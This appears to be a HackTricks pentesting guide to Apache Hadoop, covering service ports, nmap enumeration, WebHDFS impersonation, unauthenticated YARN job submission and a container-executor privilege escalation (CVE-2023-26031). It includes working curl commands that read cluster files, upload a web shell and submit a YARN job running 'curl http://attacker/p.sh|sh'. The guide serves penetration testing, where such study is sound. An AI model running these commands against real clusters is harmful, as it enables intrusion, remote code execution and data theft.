DΛΣMӨП

// HackTricks · Network Services

50030-50060-50070-50075-50090 - Pentesting Hadoop

50030-50060-50070-50075-50090 - Pentesting Hadoop

Basic Information

Apache Hadoop is an open-source framework for distributed storage and processing of large datasets across computer clusters. It uses HDFS for storage and MapReduce for processing.

Useful default and historical web/RPC ports include the following; verify them in the target’s Hadoop version and configuration:[3]

  • 50070 / 9870 NameNode (WebHDFS)
  • 50075 / 9864 DataNode
  • 50090 Secondary NameNode
  • 8088 YARN ResourceManager web UI & REST
  • 8042 YARN NodeManager
  • 8031/8032 YARN RPC (often forgotten and still unauth in many installs)

Nmap includes the following scripts for enumerating legacy Hadoop services:[4]

  • hadoop-jobtracker-info (Port 50030)
  • hadoop-tasktracker-info (Port 50060)
  • hadoop-namenode-info (Port 50070)
  • hadoop-datanode-info (Port 50075)
  • hadoop-secondary-namenode-info (Port 50090)

Hadoop’s simple authentication mode trusts the asserted operating-system or user.name identity and is unsafe on an untrusted network. Secure mode uses Kerberos for HDFS, YARN, and MapReduce. Authorization, network exposure, and service-specific ACLs still determine impact, so do not treat every default installation as universally unauthenticated.[5]

WebHDFS / HttpFS abuse (50070/9870 or 14000)

With simple/pseudo authentication, WebHDFS accepts a user.name query parameter. Subject to HDFS permissions and proxy-user settings, this can let a remote client assert an arbitrary user. Some quick primitives are:[6]

# list root directory
curl "http://<host>:50070/webhdfs/v1/?op=LISTSTATUS&user.name=hdfs"

# read arbitrary file from HDFS
curl -L "http://<host>:50070/webhdfs/v1/etc/hadoop/core-site.xml?op=OPEN&user.name=hdfs"

# upload a web shell / binary
curl -X PUT -T ./payload "http://<host>:50070/webhdfs/v1/tmp/payload?op=CREATE&overwrite=true&user.name=hdfs" -H 'Content-Type: application/octet-stream'

If HttpFS is enabled (default port 14000) the same REST paths apply. Behind Kerberos you can still use curl --negotiate -u : with a valid ticket.

YARN unauth RCE (8088)

In insecure simple mode, an exposed ResourceManager REST API may accept application submissions as the unauthenticated pseudo-user (often dr.who). Whether the JSON below launches a useful command depends on the application submission context, queue ACLs, and cluster configuration.[7]

# 1) get an application id
curl -s -X POST http://<host>:8088/ws/v1/cluster/apps/new-application

# 2) submit DistributedShell pointing to a command
curl -s -X POST http://<host>:8088/ws/v1/cluster/apps \
  -H 'Content-Type: application/json' \
  -d '{
    "application-id":"application_1234567890000_0001",
    "application-name":"pwn",
    "am-container-spec":{
      "commands":{"command":"/bin/bash -c \"curl http://attacker/p.sh|sh\""}
    },
    "application-type":"YARN"
  }'

If port 8031/8032 RPC is exposed, older clusters allow the same job submission over protobuf without auth (documented in several cryptominer campaigns) – treat those ports as RCE as well.

Local PrivEsc from YARN containers (CVE-2023-26031)

Hadoop 3.3.1–3.3.4 container-executor loads libs from a relative RUNPATH. A user who can run YARN containers (including remote submitters on insecure clusters) may drop a malicious libcrypto.so in a writable path and get root when container-executor runs with SUID.[1][2]

Quick check:

readelf -d /opt/hadoop/bin/container-executor | grep 'RUNPATH\|RPATH'
# vulnerable if it contains $ORIGIN/:../lib/native/
ls -l /opt/hadoop/bin/container-executor   # SUID+root makes it exploitable

Fixed in 3.3.5; ensure the binary is not SUID if secure containers aren’t required.

References